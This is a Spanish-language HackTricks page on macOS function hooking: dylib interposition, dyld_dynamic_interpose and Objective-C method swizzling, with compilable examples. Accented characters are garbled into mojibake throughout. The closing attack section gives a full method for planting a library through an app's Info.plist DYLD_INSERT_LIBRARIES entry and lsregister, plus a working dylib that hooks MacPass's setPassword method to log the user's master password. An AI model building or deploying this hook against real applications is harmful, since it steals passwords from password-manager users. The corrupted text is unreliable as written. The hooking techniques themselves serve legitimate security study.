macOS Function Hooking
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Interposici贸n de Funciones
Crea un dylib con una secci贸n __interpose
(__DATA___interpose
) (o una secci贸n marcada con S_INTERPOSING
) que contenga tuplas de punteros de funci贸n que se refieran a las funciones original y reemplazo.
Luego, inyecta el dylib con DYLD_INSERT_LIBRARIES
(la interposici贸n debe ocurrir antes de que se cargue la aplicaci贸n principal). Obviamente, las restricciones aplicadas al uso de DYLD_INSERT_LIBRARIES
tambi茅n se aplican aqu铆.
Interponer printf
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
warning
La variable de entorno DYLD_PRINT_INTERPOSTING
se puede usar para depurar la interposici贸n y mostrar谩 el proceso de interposici贸n.
Tambi茅n tenga en cuenta que la interposici贸n ocurre entre el proceso y las bibliotecas cargadas, no funciona con la cach茅 de bibliotecas compartidas.
Interposici贸n Din谩mica
Ahora tambi茅n es posible interponer una funci贸n din谩micamente utilizando la funci贸n dyld_dynamic_interpose
. Esto permite interponer program谩ticamente una funci贸n en tiempo de ejecuci贸n en lugar de hacerlo solo desde el principio.
Solo es necesario indicar los tuples de la funci贸n a reemplazar y la funci贸n de reemplazo.
struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);
Intercambio de M茅todos
En ObjectiveC, as铆 es como se llama a un m茅todo: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
Se necesita el objeto, el m茅todo y los par谩metros. Y cuando se llama a un m茅todo, se env铆a un msg utilizando la funci贸n objc_msgSend
: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);
El objeto es someObject
, el m茅todo es @selector(method1p1:p2:)
y los argumentos son value1, value2.
Siguiendo las estructuras de objetos, es posible acceder a un array de m茅todos donde se ubican los nombres y los punteros al c贸digo del m茅todo.
caution
Tenga en cuenta que, dado que los m茅todos y las clases se acceden en funci贸n de sus nombres, esta informaci贸n se almacena en el binario, por lo que es posible recuperarla con otool -ov </path/bin>
o class-dump </path/bin>
Accediendo a los m茅todos en bruto
Es posible acceder a la informaci贸n de los m茅todos, como el nombre, el n煤mero de par谩metros o la direcci贸n, como en el siguiente ejemplo:
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
Intercambio de m茅todos con method_exchangeImplementations
La funci贸n method_exchangeImplementations
permite cambiar la direcci贸n de la implementaci贸n de una funci贸n por la otra.
caution
As铆 que cuando se llama a una funci贸n, lo que se ejecuta es la otra.
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
warning
En este caso, si el c贸digo de implementaci贸n del m茅todo leg铆timo verifica el nombre del m茅todo, podr铆a detectar este swizzling y evitar que se ejecute.
La siguiente t茅cnica no tiene esta restricci贸n.
Swizzling de M茅todos con method_setImplementation
El formato anterior es extra帽o porque est谩s cambiando la implementaci贸n de 2 m茅todos uno por el otro. Usando la funci贸n method_setImplementation
puedes cambiar la implementaci贸n de un m茅todo por el otro.
Solo recuerda almacenar la direcci贸n de la implementaci贸n del original si vas a llamarlo desde la nueva implementaci贸n antes de sobrescribirlo, porque m谩s tarde ser谩 mucho m谩s complicado localizar esa direcci贸n.
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
Metodolog铆a de Ataque por Hooking
En esta p谩gina se discutieron diferentes formas de enganchar funciones. Sin embargo, involucraron ejecutar c贸digo dentro del proceso para atacar.
Para hacer eso, la t茅cnica m谩s f谩cil de usar es inyectar un Dyld a trav茅s de variables de entorno o secuestro. Sin embargo, supongo que esto tambi茅n podr铆a hacerse a trav茅s de inyecci贸n de proceso Dylib.
Sin embargo, ambas opciones est谩n limitadas a binarios/procesos no protegidos. Revisa cada t茅cnica para aprender m谩s sobre las limitaciones.
Sin embargo, un ataque de hooking de funci贸n es muy espec铆fico, un atacante har谩 esto para robar informaci贸n sensible desde dentro de un proceso (si no, simplemente har铆as un ataque de inyecci贸n de proceso). Y esta informaci贸n sensible podr铆a estar ubicada en aplicaciones descargadas por el usuario, como MacPass.
As铆 que el vector del atacante ser铆a encontrar una vulnerabilidad o eliminar la firma de la aplicaci贸n, inyectar la variable de entorno DYLD_INSERT_LIBRARIES
a trav茅s del Info.plist de la aplicaci贸n a帽adiendo algo como:
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
y luego volver a registrar la aplicaci贸n:
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
Agrega en esa biblioteca el c贸digo de hooking para exfiltrar la informaci贸n: Contrase帽as, mensajes...
caution
Ten en cuenta que en versiones m谩s recientes de macOS, si eliminaste la firma del binario de la aplicaci贸n y se ejecut贸 previamente, macOS ya no ejecutar谩 la aplicaci贸n.
Ejemplo de biblioteca
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
Referencias
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.